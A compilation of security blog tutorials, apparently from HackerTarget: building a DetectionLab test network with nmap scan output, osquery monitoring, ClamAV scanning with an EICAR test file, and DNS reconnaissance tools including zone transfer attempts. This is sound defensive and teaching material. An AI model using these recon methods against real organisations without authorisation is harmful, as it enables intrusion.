Before starting the vagrant builds, check that you are in a terminal that can launch the VirtualBox Guest GUI's. This means if you are connected to your test machine remotely using ssh you will want to use X forwarding in the session (ssh -X ...) and you will not want to be in tmux.

Essentially what happens with vagrant up is that each machine will be deployed and during the build the VirtualBox GUI will pop up as the machines are started. It is possible to build the hosts individually such as vagrant up logger but launching the following will build all 4 hosts. Depending on the bandwidth and CPU speed this will take some time, however here is the best part; no further interaction is required.

From a terminal the vagrant up process will need to launch the VirtualBox GUI, so we need to run this locally, or in an X forwarded session, if the host is remote & not in tmux:

In the terminal launch:

test@vbox:~/DetectionLab/Vagrant/$ vagrant up

During the installation and provisioning occasionally something may break as there are lots of moving parts. If a machine does not boot correctly check the error but if it is not obvious, you can simply try and re-provision the machine.

To reattempt the provisioning try vagrant reload wef --provision. If this fails you can simply remove the broken machine from the VirtualBox console and rerun vagrant up wef, this will often just work.

These basic functions of vagrant are good to know. If you mess up a machine during testing or when something breaks; rebuilding a single machine is a piece of cake.

Further Resources

The DetectionLab project site has great documentation and resources for further information. Including the excellent network layout diagram linked below and introductory YouTube video.

@Chris put together this great overview that includes credentials for access.
DetectionLab Network

Nmap Scan of the DetectionLab Network

Lets take a quick look at the services available on our new host only network. This 192.168.38.0/24 is configured on the host and is isolated. Note: with these networks, outbound traffic is allowed as the network has a NAT gateway. Keep that in mind if you plan on testing any malicious software.

Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-30 13:08 AEST
Stats: 0:02:19 elapsed; 0 hosts completed (4 up), 4 undergoing Service Scan
Nmap scan report for 192.168.38.102
Host is up (0.00053s latency).
Not shown: 93 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-07-30 03:08:10Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: windomain.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: WINDOMAIN)
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: WINDOMAIN
|   NetBIOS_Domain_Name: WINDOMAIN
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: windomain.local
|   DNS_Computer_Name: dc.windomain.local
|   DNS_Tree_Name: windomain.local
|   Product_Version: 10.0.14393
|_  System_Time: 2021-07-30T03:10:25+00:00
| ssl-cert: Subject: commonName=dc.windomain.local
| Not valid before: 2021-07-27T06:16:20
|_Not valid after:  2022-01-26T06:16:20
|_ssl-date: 2021-07-30T03:11:05+00:00; 0s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: DC, NetBIOS user: , NetBIOS MAC: 08:00:27:a9:3b:cf (Oracle VirtualBox virtual NIC)
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: dc
|   NetBIOS computer name: DC\x00
|   Domain name: windomain.local
|   Forest name: windomain.local
|   FQDN: dc.windomain.local
|_  System time: 2021-07-30T03:10:25+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-07-30T03:10:25
|_  start_date: 2021-07-28T06:16:29

Nmap scan report for 192.168.38.103
Host is up (0.00027s latency).
Not shown: 99 filtered ports
PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: WINDOMAIN
|   NetBIOS_Domain_Name: WINDOMAIN
|   NetBIOS_Computer_Name: WEF
|   DNS_Domain_Name: windomain.local
|   DNS_Computer_Name: wef.windomain.local
|   DNS_Tree_Name: windomain.local
|   Product_Version: 10.0.14393
|_  System_Time: 2021-07-30T03:10:26+00:00
| ssl-cert: Subject: commonName=wef.windomain.local
| Not valid before: 2021-07-29T00:33:11
|_Not valid after:  2022-01-28T00:33:11
|_ssl-date: 2021-07-30T03:11:05+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.38.104
Host is up (0.00089s latency).
Not shown: 98 filtered ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: WINDOMAIN
|   NetBIOS_Domain_Name: WINDOMAIN
|   NetBIOS_Computer_Name: WIN10
|   DNS_Domain_Name: windomain.local
|   DNS_Computer_Name: win10.windomain.local
|   DNS_Tree_Name: windomain.local
|   Product_Version: 10.0.18362
|_  System_Time: 2021-07-30T03:10:25+00:00
| ssl-cert: Subject: commonName=win10.windomain.local
| Not valid before: 2021-07-29T00:43:18
|_Not valid after:  2022-01-28T00:43:18
|_ssl-date: 2021-07-30T03:11:05+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.38.105
Host is up (0.00023s latency).
Not shown: 95 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1f:9d:24:3e:07:2b:74:0c:6a:26:76:4f:0f:db:0f:01 (RSA)
|   256 60:2b:09:3a:f4:17:42:b9:54:8f:9b:37:df:1b:31:b0 (ECDSA)
|_  256 25:c4:3c:ee:32:1f:a5:88:65:ad:9e:01:8e:51:bc:b3 (ED25519)
111/tcp  open  rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
8000/tcp open  ssl/http   Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was https://192.168.38.105:8000/en-US/account/login?return_to=%2Fen-US%2F
| ssl-cert: Subject: commonName=logger/organizationName=SplunkUser
| Not valid before: 2021-07-28T06:04:33
|_Not valid after:  2024-07-27T06:04:33
8080/tcp open  http       Apache Tomcat
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
9999/tcp open  ssl/abyss?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /app/index.html
|     Date: Fri, 30 Jul 2021 03:08:46 GMT
|     Content-Length: 38
|     href="/app/index.html">Found.
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /app/index.html
|     Date: Fri, 30 Jul 2021 03:08:21 GMT
|     Content-Length: 38
|     href="/app/index.html">Found.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Location: /app/index.html
|     Date: Fri, 30 Jul 2021 03:08:21 GMT
|_    Content-Length: 0
| ssl-cert: Subject: commonName=VelociraptorServer/organizationName=Velociraptor
| Subject Alternative Name: DNS:VelociraptorServer
| Not valid before: 2021-04-14T03:25:30
|_Not valid after:  2022-04-14T03:25:30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Post-scan script results:
| clock-skew: 
|   0s: 
|     192.168.38.103
|     192.168.38.102
|_    192.168.38.104
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 4 IP addresses (4 hosts up) scanned in 185.53 seconds

There is a bunch of stuff here to poke at with your penetration testing tools. Deploy Kali Linux on another host in the network, or simply start looking through the logs and data coming into Splunk.

Conclusion

There are many things here to test, play with and explore. This is one of the great things about this setup. Fire it up and get your hands on tools that are preconfigured and ready to go. In case you did not notice from the previous praise, DetectionLab comes highly recommended whether you are just getting started in Cyber Security or you have been breaking computers for years.

The post Build a Cyber Security Lab with DetectionLab appeared first on HackerTarget.com.

Ninja Level Monitoring and System Visibility

Osquery is a monitoring framework. It provides detailed visibility into the operating system, processes, and network connections of a computer system.

Osquery can be used in production environments on both workstations and servers. A powerful selling point being that it performs great (minimal overhead) on Linux, OSX (macOS), and Windows systems.

There are many advantages for both IT and Security Operations. We will focus on the Security Operations and DFIR (Digital Forensics and Incident Response) features as part of this tutorial.

Install osquery on Ubuntu Linux

Originally developed by Facebook, osquery is a well-supported and documented tool. It has straightforward installation steps for a variety of operating systems and Linux distributions. In this tutorial, we will focus on installation on Ubuntu from the official repository. If you are using Fedora or other Linux distros the initial steps are well documented.

These steps can be used on Debian or Ubuntu based systems. It will add the apt repository to the system and install the package. The regular system level apt upgrade will upgrade the package as required in the future.

~$ export OSQUERY_KEY=1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B
~$ sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys $OSQUERY_KEY
~$ sudo add-apt-repository 'deb [arch=amd64] https://pkg.osquery.io/deb deb main'
~$ sudo apt-get update
~$ sudo apt-get install osquery

Following this installation the /etc/osquery location will be created for configuration files but these will not be populated at this stage.

Interactive Shell for Immediate Testing (osqueryi)

Before doing any configuration, we can load the interactive shell to perform test queries.

Using SQL (sqlite is the basis for the SQL syntax) queries, we can query tables to gather information about the operating system. In the below query, we get a list of users (example has been snipped).

vagrant@ubuntu-focal:~$ osqueryi
Using a virtual database. Need help, type '.help'
osquery> select * from users;
+-------+-------+------------+------------+------------------+------------------------------------+--------------------------+-------------------+------+
| uid   | gid   | uid_signed | gid_signed | username         | description                        | directory                | shell             | uuid |
+-------+-------+------------+------------+------------------+------------------------------------+--------------------------+-------------------+------+
| 0     | 0     | 0          | 0          | root             | root                               | /root                    | /bin/bash         |      |
| 1     | 1     | 1          | 1          | daemon           | daemon                             | /usr/sbin                | /usr/sbin/nologin |      |
| 2     | 2     | 2          | 2          | bin              | bin                                | /bin                     | /usr/sbin/nologin |      |
| 33    | 33    | 33         | 33         | www-data         | www-data                           | /var/www                 | /usr/sbin/nologin |      |
| 1001  | 1001  | 1001       | 1001       | ubuntu           | Ubuntu                             | /home/ubuntu             | /bin/bash         |      |
| 998   | 100   | 998        | 100        | lxd              |                                    | /var/snap/lxd/common/lxd | /bin/false        |      |
+-------+-------+------------+------------+------------------+------------------------------------+--------------------------+-------------------+------+

Another example this time with fields selected and a LIMIT:

osquery> select uid, username, directory from users LIMIT 5;
+-------+------------------+--------------------------+
| uid   | username         | directory                |
+-------+------------------+--------------------------+
| 0     | root             | /root                    |
| 1     | daemon           | /usr/sbin                |
| 2     | bin              | /bin                     |
| 3     | sys              | /dev                     |
| 4     | sync             | /bin                     |
+-------+------------------+--------------------------+

Running osqueryi from the Command Line

Executing queries directly from the command line with osqueryi can be useful. See the following examples.

~$ osqueryi "SELECT * FROM users;"
~$ echo "SELECT * FROM users;" | osqueryi
~$ osqueryi --json "SELECT * FROM users;"

In the third example above we have used the --json parameter to change the output format. This is a great trick to get operating system telemetry into json for use in bash scripts and command line processing.

Quick osquery Linux Example Queries

Examples are the best way to showcase a framework with so much flexibility. As the examples highlight use cases for osquery are very broad.

Using Math to Calculate Disk Space

Getting slightly more complicated with a query to calculate the free space on a partition.

osquery> SELECT path, ROUND( (10e-10 * blocks_available * blocks_size), 1) AS gb_free, 100 - ROUND ((blocks_available * 1.0 / blocks * 1.0) * 100, 1) AS percent_used, device, type FROM mounts WHERE path = '/';
+------+---------+--------------+-----------+------+
| path | gb_free | percent_used | device    | type |
+------+---------+--------------+-----------+------+
| /    | 39.8    | 4.3          | /dev/sda1 | ext4 |
+------+---------+--------------+-----------+------+

JOIN Example Showing LISTENING services with Executable Path

An example that shows the value of a SQL JOIN statement combining data from two tables.

osquery> SELECT p.path, local_port FROM process_open_sockets s JOIN processes p ON s.pid = p.pid WHERE s.state = 'LISTEN';
+-----------------------------------+------------+
| path                              | local_port |
+-----------------------------------+------------+
| /usr/lib/systemd/systemd-resolved | 53         |
| /usr/sbin/sshd                    | 22         |
| /usr/bin/nc.openbsd               | 4000       |
| /usr/sbin/sshd                    | 22         |
+-----------------------------------+------------+

Hardware Monitoring

Rather than digging through log files and the Windows Registry osquery can also help with monitoring for hardware changes.

Particularly important for high security environments (classified networks) or for those IT departments who just want to know when someone plugs in a malware ridden USB device.

osquery> select driver,vendor,model from hardware_events;
+-------------+-------------------+---------------------------+
| driver      | vendor            | model                     |
+-------------+-------------------+---------------------------+
| usb         | Lexar Media, Inc. | LJDTT16G [JumpDrive 16GB] |
| usb-storage | Lexar Media, Inc. | LJDTT16G [JumpDrive 16GB] |
+-------------+-------------------+---------------------------+

Another table of interest is the usb_devices

osquery> select usb_port, vendor, model, serial from usb_devices;
+----------+-------------------+---------------------------+------------------+
| usb_port | vendor            | model                     | serial           |
+----------+-------------------+---------------------------+------------------+
| 1        | Linux Foundation  | 1.1 root hub              | 0000:00:06.0     |
| 2        | Lexar Media, Inc. | LJDTT16G [JumpDrive 16GB] | AAXNSQBA0WN23C34 |
+----------+-------------------+---------------------------+------------------+

Query these tables on a schedule and know when users plug in a USB drive either for immediate alerting to the SOC or for historical purposes when incident handling.

osquery Configuration

Getting osquery working optimally requires an understanding of the configuration options (/etc/osquery/osquery.conf) as well as the runtime flags (/etc/osquery/osquery.flags).

The flags file is a convenient way to control runtime parameters as there can be quite a few required.

During initial testing the flags that you will want to pay attention to are those that control the logging and events.

Events vs Scheduled SQL Statement

Most of the table data is generated when an SQL statement requests data. Events are used to populate real time audit data such as process execution, network auditing, and filesystem changes (file integrity monitoring). Without the event (audit) option, a network or process event that occurred between two scheduled SQL queries may be missed.

By default, the event (pubsub) framework is disabled. Depending on the host configuration, other process auditing (auditd) may also be in use. Note that auditd and the osquery auditing cannot be used at the same time (see eBPF as an alternative).

In this example we get an error when attempting to query an events table where the events are disabled.

osquery> select * from socket_events;
W0809 06:38:53.354483  5130 virtual_table.cpp:969] Table socket_events is event-based but events are disabled
W0809 06:38:53.354588  5130 virtual_table.cpp:976] Please see the table documentation: https://osquery.io/schema/#socket_events

For this query to work we need to either pass parameters to the command line of osqueryi as shown below, or we can set the parameters in the /etc/osquery/osquery.flags file.

~$ osqueryi --audit_allow_config=true --audit_allow_sockets=true --audit_persist=true --disable_audit=false --events_expiry=1 --events_max=50000 --disable_events=false

eBPF and osquery

eBPF is the new alternative way capture the auditing data (available since osquery 4.6.0) on Linux systems. It uses new kernel functionality (eBPF) to capture the process, socket, and other types of events.

There is a great Youtube presentation on that covers the technical details of how eBPF and osquery work.

To use eBPF the kernel will need to be 4.18 or newer.

With eBPF enabled we will have access to tables bpf_process_events and bpf_socket_events that are equivalent to the standard process_events and socket_events tables.

Enabling eBPF for osquery on Linux requires the following flags:

--disable_events=false --enable_bpf_events=true

Container Monitoring

A further advantage when using eBPF rather than the audit subsystem is greater visibility into containers and management systems including both Docker and Kubernetes.

Testing eBPF & osquery on Ubuntu 20.04

When first testing eBPF you will want to ensure it works on test system. Using osqueryi is a great way to try things out.

~$ sudo osqueryi --disable_events=false --enable_bpf_events=true --verbose

If running this osquery on a default Ubuntu 20.04 install you may hit the following error:

I0819 00:01:57.169797 86613 bpfeventpublisher.cpp:297] Failed to load the BPF probe for syscall __x64_sys_execve: The 'enter' program could not be loaded: Failed to open the Linux kernel version header: /usr/include/linux/version.h
I0819 00:01:57.169965 86613 eventfactory.cpp:156] Event publisher not enabled: BPFEventPublisher: Failed to create the function tracer: The 'enter' program could not be loaded: Failed to open the Linux kernel version header: /usr/include/linux/version.h

This is shown when running with the --verbose flag. Otherwise the bpf_process_events table will simply be empty.

~$ sudo apt install linux-libc-dev

This will resolve the issue, as it includes the missing version.h file. The output from osqueryi will now show:

I0819 00:14:05.886425 88447 eventfactory.cpp:390] Starting event publisher run loop: BPFEventPublisher

After a period of time or execution of a command on the host.

osquery> select uid,cmdline,duration,ntime from bpf_process_events;
+-----+-----------------+----------+----------------+
| uid | cmdline         | duration | ntime          |
+-----+-----------------+----------+----------------+
| 0   | cat /etc/passwd | 1014624  | 84133214411451 |
+-----+-----------------+----------+----------------+

Another potential error is if the osqueryi process does not have permission to access the kernel memory space.

Event publisher not enabled: BPFEventPublisher: Failed to setup the memory lock limits. The BPF tables may not work correctly.

Ensure you have used sudo when executing osqueryi.

osquery daemon

Running osquery as a service allows ongoing recording of data points using scheduled queries and event collection (process execution / network sockets).

By default under Linux the daemon will load the default location for the flags file and configuration file. Typically the configuration file will then include the location of additional query packs.

Following are two example queries that could be included in the configuration file:

{
"scheduled_query": {
 "users_snapshot": {
 "query": "SELECT * FROM users;",
 "description": "Returns full list of users on the system.",
 "interval": 86400,
 "snapshot": true,
 }
 }
}

Notice the snapshot key. This tells the query to be logged as full results. The interval is equal to 86400 seconds (daily snapshot).

{
"scheduled_query": {
 "users_differential": {
 "query": "SELECT * FROM users;",
 "description": "List any new users or changes in the users table.",
"interval": 3600,
 }
 }

In this query the daily snapshot is compared and any changes are logged. The interval is 3600 seconds (hourly).

The osquery daemon will run the scheduled queries logging locally to /var/log/osquery/osqueryd.results.json or whatever logging plugins are configured.

Configuring osqueryd for a quick start

With a default (example) configuration we see a number of errors about the Event publisher not being enabled.

I0810 05:14:07.526832 278165 eventfactory.cpp:156] Event publisher not enabled: BPFEventPublisher: Publisher disabled via configuration
I0810 05:14:07.527535 278165 eventfactory.cpp:156] Event publisher not enabled: auditeventpublisher: Publisher disabled via configuration
I0810 05:14:07.527607 278165 eventfactory.cpp:156] Event publisher not enabled: inotify: Publisher disabled via configuration
I0810 05:14:07.527662 278165 eventfactory.cpp:156] Event publisher not enabled: syslog: Publisher disabled via configuration

A better option for getting up and running is to use a working example configuration from Palantir. They have published a solid Linux Server configuration that includes an osquery.flags and osquery.conf file.

Palantir Github https://github.com/palantir/osquery-configuration/tree/master/Classic/Servers/Linux

Put these files in /etc/osquery/ and change the location of the ossec-rootkit pack in the osquery.conf file to the one at /usr/share/osquery/packs/.

Restart osqueryd and you will start getting logs. This configuration enables process monitoring, socket events and a number of other useful monitoring queries.

It is a great starting point. There are also configurations here for both Windows Endpoints and MacOS but we have primarily tested and deployed on Linux Servers.

osquery Logging

There are a number of Logging plugins for osquery. The default plugin for the daemon is filesystem logger. Logging for osquery is based on delivering a json log entry per query. Making the logs easily parsed, shipped or processed by any logging processor or platform.

It does not matter what logging platform you use, whether its Splunk or another commercial option or open source solutions such as Elastic Stack or Graylog. The fact that osquery outputs simple json makes upstream processing straightforward and flexible.

One logging pipeline example showing this flexibility.

Post processing / filtering of the logs could occur at the filebeat or logstash stages. Analysis using the Mitre Att&ck Framework or Sigma Rules for example could then occur at Graylog.

The example pipeline could certainly be simplified depending on the infrastructure and requirements.

Centralized Management & Logging

There are a number of solutions for management of an osquery "fleet". The open source fleetdm is a fork of the Kolide platform. There are also Zentral and Uptycs as commercial offerings.

These all have a TLS endpoint that the osquery client connects to; both configuration and logging can then be controlled from the centralized platform.

osquery packs

osquery packs are sets of grouped queries that can be used for different use cases. A number of default packs are included:

~$ ls /usr/share/osquery/packs/
hardware-monitoring.conf it-compliance.conf ossec-rootkit.conf
unwanted-chrome-extensions.conf windows-attacks.conf
incident-response.conf osquery-monitoring.conf osx-attacks.conf    vuln-management.conf windows-hardening.conf

Based on use cases and or operating system these are included by default in the install but not enabled in the default configuration file /usr/share/osquery/osquery.example.conf.

$ sudo cp /usr/share/osquery/osquery.example.conf /etc/osquery/osquery.conf

Third parties may release osquery packs allowing the sharing of queries within the community.

File Integrity Monitoring (FIM)

Another event based auditing option is File Integrity Monitoring. Using the configuration, you will have to specify the locations and files that are to be monitored.

Enabling the File Integrity Monitoring requires the following flags for the file_events and process_file_events tables.

--enable_file_events=true --disable_audit=false

Testing File Integrity Monitoring with osqueryi. During load with --verbose enabled we see the file paths being monitored.

~$ sudo osqueryi --disable_events=false --enable_bpf_events=true --verbose --enable_file_events
<>
I0819 05:27:30.656767  1829 file_events.cpp:87] Added file event listener to: /usr/sbin/**
I0819 05:27:30.656881  1829 file_events.cpp:87] Added file event listener to: /usr/local/bin/**
I0819 05:27:30.656985  1829 file_events.cpp:87] Added file event listener to: /usr/local/sbin/**
I0819 05:27:30.657066  1829 file_events.cpp:87] Added file event listener to: /etc/hosts
<>

These paths are set in the osquery.conf file. Now, in the following example you can the see the file event was captured in the file_events table and reported in the query.

osquery> select target_path, category, action, atime, mtime from file_events;
+-------------+---------------+---------------------+------------+------------+
| target_path | category      | action              | atime      | mtime      |
+-------------+---------------+---------------------+------------+------------+
| /etc/hosts  | configuration | ATTRIBUTES_MODIFIED | 1629350896 | 1629350896 |
+-------------+---------------+---------------------+------------+------------+

Augeas

Augeas is an interesting open-source project that is packaged with osquery. Enabled by default are a number of configuration file "lenses". These allow osquery to parse configuration files and show the status of parameters on the system. This is a very helpful tool for compliance monitoring across a fleet of systems.

The default lenses are located here and can be reviewed to see what is possible. /usr/share/osquery/lenses

osquery> SELECT label, value FROM augeas WHERE path = '/etc/ssh/sshd_config' and label = "PasswordAuthentication";
+------------------------+-------+
| label                  | value |
+------------------------+-------+
| PasswordAuthentication | yes   |
+------------------------+-------+

A key concept is that this information is being collected at the time of the query. For many use cases, the query will be run on a schedule with the results being compared to a previous result in order to identify changes in the system state (new user account, logins, new network connections).

Yara and osquery

YARA is a powerful malware and file scanning framework. It can be incorporated into an osquery configuration allowing:
- on demand scanning when a file system change occurs (from file_events)
- a yara table for on-demand YARA scanning.

Configuring YARA requires that the osquery.conf identifies the signatures to use and the file_paths to monitor.

Conclusion

This tutorial provided a quick start guide for getting a usable osquery up and running. At the same time, we have covered the building blocks needed for a more complicated deployment.

There are significant benefits to be found with osquery whether you are looking to manage a fleet of servers, tens of thousands of workstations, or a handful of endpoints. Get in contact if you find this tutorial useful or have any feedback.

Work across the teams in your organisation to find advantages for more than security operations. DevOPS & IT will love it. Increase productivity, security visibility, and inter team communication all with one deployment project.

The post osquery Linux Tutorial and Tips appeared first on HackerTarget.com.

ClamAV Antivirus is an open source malware detection tool. In this tutorial we cover getting started with ClamAV and common use cases.

Through various configuration profiles it is able to perform real time filesystem detection, ad hoc file scanning, mail gateway filtering and http proxy scanning.

These use cases only scratch the surface of what is possible using the core engine and various open source addon components.

ClamAV and the key development team were acquired by SourceFire in 2007. Now maintained by Cisco Talos, after the acquisition of SourceFire in 2013. You may have heard of Cisco, a small startup that makes networking equipment.

Installing ClamAV on Ubuntu (or Debian)

To get the very latest version, or if a custom build is required installation from source would be necessary. However, using an Antivirus package in production is something that you want to be stable, secure and easily patched when security updates are released. For this reason I recommend using the Stable version of ClamAV from the Ubuntu repositories.

While the ClamAV core version will be not be the very latest release you will still be receiving the latest updates to the Antivirus signature database through the freshclam updates.

root@8ca32fd2f888:/# apt update
root@8ca32fd2f888:/# apt install clamav
root@8ca32fd2f888:/# clamscan --version
ClamAV 0.103.2
root@8ca32fd2f888:/# freshclam

It is as easy as that. I quickly spun up an Ubuntu 20.04 Docker image and ran the installation. The clamscan version is 0.103.2.

Running freshclam will ensure the latest database is available, updates to the signature database are made once or twice daily, so put freshclam in a cron job to keep things fresh.

root@8ca32fd2f888:/# clamscan /usr/bin
<< SNIP >>
/usr/bin/ucf: OK
/usr/bin/openssl: OK
/usr/bin/ucfq: OK
/usr/bin/crontab: OK

----------- SCAN SUMMARY -----------
Known viruses: 8528798
Engine version: 0.103.2
Scanned directories: 1
Scanned files: 287
Infected files: 0
Data scanned: 20.16 MB
Data read: 22.85 MB (ratio 0.88:1)
Time: 23.066 sec (0 m 23 s)
Start Date: 2021:05:13 00:04:35
End Date:   2021:05:13 00:04:58

A simple directory scan is performed by running clamscan against the folder name. If you need a quick antivirus solution, installing ClamAV, updating and starting the scan can be done in a few minutes.

ClamAV Signatures and Coverage

At the time of testing the latest signature count is 8528798. Updates are regularly released with the following chart showing the number of new antivirus signatures daily over the 3 months to April 2021.

Testing ClamAV against a PDF with an embedded DOC

Didier Stevens created a handy test file that contains the well known EICAR test file, however the file is dropped from a DOC that is embedded within a PDF.

https://blog.didierstevens.com/2015/08/28/test-file-pdf-with-embedded-doc-dropping-eicar/

root@8ca32fd2f888:/# clamscan pdf-doc-vba-eicar-dropper.pdf
/pdf-doc-vba-eicar-dropper.pdf: Doc.Dropper.Agent-1540415 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 8528798
Engine version: 0.103.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.06 MB
Data read: 0.01 MB (ratio 7.50:1)
Time: 17.054 sec (0 m 17 s)
Start Date: 2021:05:13 00:14:55
End Date:   2021:05:13 00:15:12
root@8ca32fd2f888:/#

Understanding clamd, clamdscan and clamscan

When you run clamscan the libclamav engine and signatures are loaded at runtime. The other way to run the scanning engine is via clamd.

Clamd runs as a background process that has the engine and signatures in memory. A clamd client (clamdscan) then connects to the service in order to have the scanning performed. The clamd service accepts various commands in order to perform the scanning.

Configuration of the scanning is controlled via the clamd.conf configuration and cannot be specified at runtime. Whereas using clamscan it is possible to configure a large number of options at runtime from the command line.

Note that the clamd service is unauthenticated. Do not make it accessible from the Internet.

Integrate ClamAV in a HTTP Proxy

By integrating ClamAV into a HTTP proxy such as Squid it is possible to have transparent antivirus across all your web traffic.

Using Squid it is possible to configure the proxy to perform SSL/TLS bumping (decryption) enabling scanning of SSL/TLS encrypted traffic.

squidclamav icap module

Squid is a popular open source HTTP proxy that can work with modules using the ICAP protocol. ICAP is standard that allows HTTP proxies to outsource content inspection and manipulation to an external process or server.

SquidClamAV is an antivirus for the Squid proxy based on ICAP, it is highly performant and able to handle thousands of HTTP connections simultaneously.

Download squidclamav

Installation and Configuration of SquidClamAV goes beyond the scope of this guide.

Conclusion

Even if you already have a commercial antivirus solution within your environment, knowing that you can quickly spin up ClamAV in a few minutes to perform ad hoc testing is definitely something to keep in your grab bag of tools.

Like Vulnerability Scanning, using multiple solutions and signature databases will ensure you get the best coverage in detecting and understanding the threats to your environment.

Running ClamAV on gateway servers (SMTP / HTTP) is a popular solution for companies that lean into the open source world. With a team run out of Cisco Talos, it is no wonder that this software continues to kick goals for organisations of all sizes.

The post ClamAV Antivirus for Linux Tutorial appeared first on HackerTarget.com.

Searching for DNS records and DNS related information is an important part of reconnaissance for a penetration tester. Obtaining information on DNS servers and DNS records provides the Pen Tester/Red Team/Attacker with a deeper understanding of the organisations network.

With DNS, it is not a 'one tool fits all' situation. You will need to use a variety of tools to gather the information. Hacker Target has a number of DNS related tools that gather different information. By combining these tools it should be possible to get a very good indication of where an organisations Internet systems are located both from IP address and physical location if used in conjunction with a GeoIP lookup.

DNS Lookup

The DNS Lookup tool does not perform any scan of the Zone file or perform any searching for subdomains. This tool simply performs a DNS lookup using these record types A, AAAA, MX, NS, CNAME, TXT, PTR & SOA against the target domain. The results will only show successful responses to the DNS query type.

DNS Lookup using example.com

A : 93.184.216.34
AAAA : 2606:2800:220:1:248:1893:25c8:1946
MX : 0 .
NS : a.iana-servers.net.
NS : b.iana-servers.net.
TXT : "v=spf1 -all"
TXT : "8j5nfqld20zpcyr8xjw0ydcfq9rk8hgm"
SOA : ns.icann.org. noc.dns.icann.org. 2020111712 7200 3600 1209600 3600

Find Subdomains / Host Records and Reverse DNS / PTR record

In order to find host records for a domain (subdomains), we have DNS data sets that are compiled DNS data from various sources on the Internet. These searches are not performed live, as the DNS records are stored in our database.

Search for all known hosts of a domain in either the Host Search (A records) or the Reverse DNS search (PTR records). Alternatively, use the Reverse DNS Lookup tool to perform a live reverse DNS lookup on a range of IP addresses.

DNS Host Search:

example.com,93.184.216.34
www.example.com,93.184.216.34

Reverse DNS Search:

server1.example.com,103.16.140.120
server1.example.com,103.18.108.35
dns1.example.com,103.193.36.10
dns2.example.com,103.193.36.20
dns1.example.com,103.196.157.10
dns2.example.com,103.196.157.20
dns1.example.com,103.198.83.10
dns2.example.com,103.198.83.20
vps63.example.com,103.6.85.104

Zone Transfer

The Zone Transfer tool attempts to perform a zone transfer against the DNS servers for a particular domain. This uses the type AXFR in an attempt to get a copy of the zone. For 99% of servers this will fail as it is a security risk to have zone transfers enabled from the Internet.

Zone transfer results using example.com:

; <<>> DiG 9.11.3-1ubuntu1.13-Ubuntu <<>> axfr @a.iana-servers.net example.com
; (2 servers found)
;; global options: +cmd
; Transfer failed.


; <<>> DiG 9.11.3-1ubuntu1.13-Ubuntu <<>> axfr @b.iana-servers.net example.com
; (2 servers found)
;; global options: +cmd
; Transfer failed.

Find Shared NS Servers

Find hosts sharing the same name servers. Can be used to identify all domains within an organisation allowing rapid expansion of the attack surface. In the example below, we see the discovery of related domains within the same organisation (different top level domains (tld) and root domains).

Using ns1.example.com

example.com
example.co.uk
examplenetwork.ca

Wrapping up

The above information is a summary of what each of the services can do. Check out the individual tool pages for full details, including information on the API, membership quotas, and more detailed information.

Below is a flowchart of the network discovery process. Notice its cyclic behaviour and the areas where these DNS tools will iteratively expand the attack surface.

Overview of the Network Discovery Process

The post DNS Tools appeared first on HackerTarget.com.

]]>